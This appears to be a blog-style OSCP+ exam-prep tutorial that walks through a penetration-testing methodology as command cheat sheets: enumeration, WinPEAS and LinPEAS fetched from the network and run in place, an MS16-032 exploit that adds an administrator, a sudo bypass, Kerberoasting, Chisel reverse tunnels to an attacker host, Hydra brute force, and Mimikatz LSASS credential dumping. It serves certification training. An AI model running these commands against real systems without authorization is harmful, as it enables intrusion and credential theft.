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Introduction:
The OSCP+ certification demands more than theoretical knowledge—it requires practical, hands-on exploitation skills in real-world environments. Capture The Flag (CTF) practice programs, such as the one offered by Ignite Technologies, bridge the gap between exam prep and live penetration testing by simulating attack chains, privilege escalation vectors, and Active Directory compromises.
Learning Objectives:
- Execute a full penetration testing methodology from reconnaissance to post-exploitation.
- Master Windows and Linux privilege escalation techniques using automated and manual commands.
- Perform advanced Active Directory attacks, tunneling, and credential exploitation in simulated exam environments.
You Should Know:
- Information Gathering & Enumeration – The Foundation of Every Hack
Before any exploit, attackers map the target surface. Enumeration is 80% of the job in OSCP+ exams. Start with Nmap for port scanning, then dive deeper with service-specific tools.
Linux Commands:
Full TCP port scan with version detection nmap -sV -sC -p- -T4 -oA full_scan <target-ip> UDP scan for common services nmap -sU --top-ports 100 -oN udp_scan <target-ip> SMB enumeration without credentials enum4linux -a <target-ip> smbclient -L //<target-ip> -N DNS zone transfer attempt dig axfr @<dns-server> <domain>
Windows Commands (on compromised host):
net user /domain net group "Domain Admins" /domain systeminfo | findstr /B /C:"OS Name" /C:"OS Version" wmic qfe get Caption,Description,HotFixID,InstalledOn
Step-by-step: Run an initial fast Nmap scan (-p- for all ports), then a detailed scan on open ports with `-sC` and -sV. Save outputs in different formats. Use `enum4linux` to extract users, shares, and policies from SMB. This methodology directly mirrors OSCP+ exam requirements.
2. Vulnerability Scanning & Analysis – Automating Discovery
While Nmap scripts catch low-hanging fruit, dedicated scanners find missing patches and misconfigurations.
Linux (Nessus Essentials / OpenVAS):
Install OpenVAS (Greenbone) sudo apt update && sudo apt install gvm -y sudo gvm-setup sudo gvm-check-setup Start scan via web UI or CLI gvm-cli --gmp-username admin --gmp-password pass --socket /var/run/gvmd.sock --xml '<create_task>...'
Manual scanning with Nikto (web):
nikto -h http://<target-ip> -ssl -Format html -o nikto_scan.html
Windows (using built-in tools for post-exploit vuln assessment):
Get-HotFix | Sort-Object InstalledOn -Descending Check for missing patches using Windows Update API
Step-by-step: After enumeration, run a vulnerability scanner against discovered services. Focus on critical CVEs that allow remote code execution or privilege escalation. In OSCP+ labs, manual verification is key—never trust scanner output without validating the exploit.
- Windows Privilege Escalation – From User to SYSTEM
Windows misconfigurations are abundant: unquoted service paths, weak folder permissions, AlwaysInstallElevated, and token impersonation.
Automated enumeration:
Download and run WinPEAS (PowerShell)
iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/winPEAS/winPEASps1/winPEAS.ps1'); winPEAS
Manual checks:
Unquoted service paths wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\" AlwaysInstallElevated (check registry) reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated SeImpersonate / SeAssignPrimaryToken privileges whoami /priv If present, use PrintSpoofer or JuicyPotato
Exploit example (MS16-032 secondary logon handle):
Import-Module .\Invoke-MS16-032.ps1; Invoke-MS16-032 -Command "net localgroup administrators $env:username /add"
Step-by-step: After gaining a low-priv shell, run `whoami /priv` and systeminfo. Compare the patch level with known exploits (use `wesng` – Windows Exploit Suggester Next). Download and run WinPEAS; focus on the “Interesting Files” and “Services” sections. For exam practice, manually verify each finding.
- Linux Privilege Escalation – SUID, Sudo, and Kernel Exploits
Linux escalations often stem from misconfigured sudo permissions, SUID binaries, cron jobs, or outdated kernels.
Automated enumeration:
LinPEAS curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh LinEnum wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh && chmod +x LinEnum.sh && ./LinEnum.sh
Manual commands:
Sudo -l (what can you run as root?) sudo -l SUID binaries (look for unusual ones like base64, cp, nmap, vim) find / -perm -4000 -type f 2>/dev/null Writable cron scripts cat /etc/crontab ls -la /etc/cron Kernel version (check against Exploit-DB) uname -a
Privilege escalation via sudo (CVE-2019-14287):
If sudo allows any command except root, bypass with: sudo -u-1 <command>
Step-by-step: On a low-priv Linux shell, run `sudo -l` immediately. If you see any binary with NOPASSWD, search GTFOBins for escalation. For SUID binaries, use `find` and check each against GTFOBins. If kernel is old (< 5.x), search for a dirty-pipe or similar. LinPEAS will highlight the top 5 vectors.
5. Active Directory Attacks – The OSCP+ Core
Modern OSCP+ heavily emphasizes AD: Kerberoasting, AS-REP roasting, Pass-the-Hash, DCSync, and ACL abuse.
Recon without credentials:
Enumerate domain users via SMB null session crackmapexec smb <dc-ip> -u '' -p '' --users LDAP anonymous bind ldapsearch -H ldap://<dc-ip> -x -s base namingcontexts
With low-priv domain user:
PowerView (part of PowerSploit) Import-Module .\PowerView.ps1 Get-NetUser | select samaccountname,useraccountcontrol Find-InterestingDomainAcl Get-NetGroup -GroupName "Domain Admins" | Get-NetGroupMember BloodHound collector (SharpHound) .\SharpHound.exe -c All --domain <domain> --ldapusername <user> --ldappassword <pass> Then analyze in BloodHound UI for shortest path to DA
Kerberoasting (request TGS for service accounts):
With PowerView Request-SPNTicket -SPN "MSSQLSvc/sql.domain.local" -OutputFormat hashcat Or using Impacket's GetUserSPNs python3 GetUserSPNs.py <domain>/<user>:<pass> -dc-ip <dc-ip> -request Crack with hashcat -m 13100
Step-by-step: After compromising a domain-joined machine, run `SharpHound` and ingest into BloodHound. Look for “Kerberoastable users” and “AS-REP Roastable users”. Use `Rubeus` or `GetUserSPNs` to extract hashes. Crack offline. For ACL abuse, BloodHound will show paths like “GenericAll” on a user that allows force password change.
6. Tunneling & Pivoting – Breaking Network Segmentation
After gaining a foothold, you often need to reach internal networks. Tunneling via SSH, Chisel, or SOCKS proxies is essential.
Using Chisel (cross-platform, simple):
On attacker machine (server) chisel server -p 8000 --reverse On compromised host (client) - reverse SOCKS chisel client <attacker-ip>:8000 R:socks Then use proxychains on attacker echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf proxychains nmap -sT -Pn -p 445 10.10.10.0/24
SSH dynamic port forwarding:
On compromised Linux host (if SSH is running) ssh -D 1080 -N -f <user>@<compromised-ip> Windows using plink (PuTTY link) plink.exe -ssh -D 1080 <user>@<compromised-ip> -N
Port forwarding with netsh (Windows only):
netsh interface portproxy add v4tov4 listenport=4444 listenaddress=0.0.0.0 connectport=3389 connectaddress=10.10.10.100
Step-by-step: Identify a compromised host with dual NICs (run `ipconfig` or ifconfig). On attacker, set up a reverse SOCKS proxy using Chisel. Then configure `proxychains` to route traffic through the tunnel. Scan internal hosts. For web apps, use `proxychains firefox` or FoxyProxy with SOCKS.
- Password Attacks & Credential Exploitation – Cracking and Passing
Password attacks span online brute force, offline hash cracking, and credential dumping from memory.
Online attacks (Hydra for HTTP/SSH/SMB):
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ssh://<target-ip> -t 4 -V -f hydra -l administrator -P passlist.txt smb://<target-ip> -v
Offline cracking (John the Ripper / Hashcat):
Extract NTLM hashes from SAM (using impacket-secretsdump) impacket-secretsdump -sam sam.save -system system.save LOCAL Crack with hashcat (mode 1000 for NTLM) hashcat -m 1000 -a 0 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt -O Kerberos TGS (mode 13100) hashcat -m 13100 -a 0 kerb_hash.txt rockyou.txt
Windows credential dumping (Mimikatz – requires admin):
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" Or using procdump + offline analysis procdump -ma lsass.exe lsass.dmp mimikatz "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit"
Step-by-step: After admin access, dump LSASS memory or SAM registry hives. Crack NTLM hashes with rockyou.txt. If you obtain a Net-NTLMv2 hash (from Responder), use hashcat mode 5600. For online password spraying, use crackmapexec smb <ip> -u users.txt -p 'Fall2024' --continue-on-success.
What Undercode Say:
- Key Takeaway 1: OSCP+ success hinges on consistent, methodical practice in simulated AD environments—training programs like Ignite Technologies’ CTF offer structured lab repetition.
- Key Takeaway 2: Automation (WinPEAS, LinPEAS, BloodHound) accelerates enumeration, but manual verification of privilege escalation vectors is what separates passing from failing.
Analysis: The OSCP+ exam has shifted from standalone Linux boxes to multi-machine Active Directory chains. Candidates must now understand Kerberos authentication, ACL abuse, and cross-protocol pivoting (SMB → WinRM → RDP). The training described covers these exact areas, with emphasis on professional report writing—a critical but often overlooked component. By integrating tools like Chisel for tunneling and Impacket for AD attacks, the curriculum aligns with real red team operations. The biggest challenge remains time management; practicing under 24-hour constraints is essential. Expect more cloud and container escape vectors in future OSCP+ iterations.
Prediction: By 2027, OSCP+ will incorporate cloud-native misconfigurations (Azure AD, AWS IAM) and container breakout techniques. CTF training providers will bundle Terraform-deployed labs to simulate hybrid environments, and AI-assisted enumeration (e.g., LLMs that suggest exploit paths) will become a standard study aid—though hands-on command-line proficiency will remain the ultimate differentiator.
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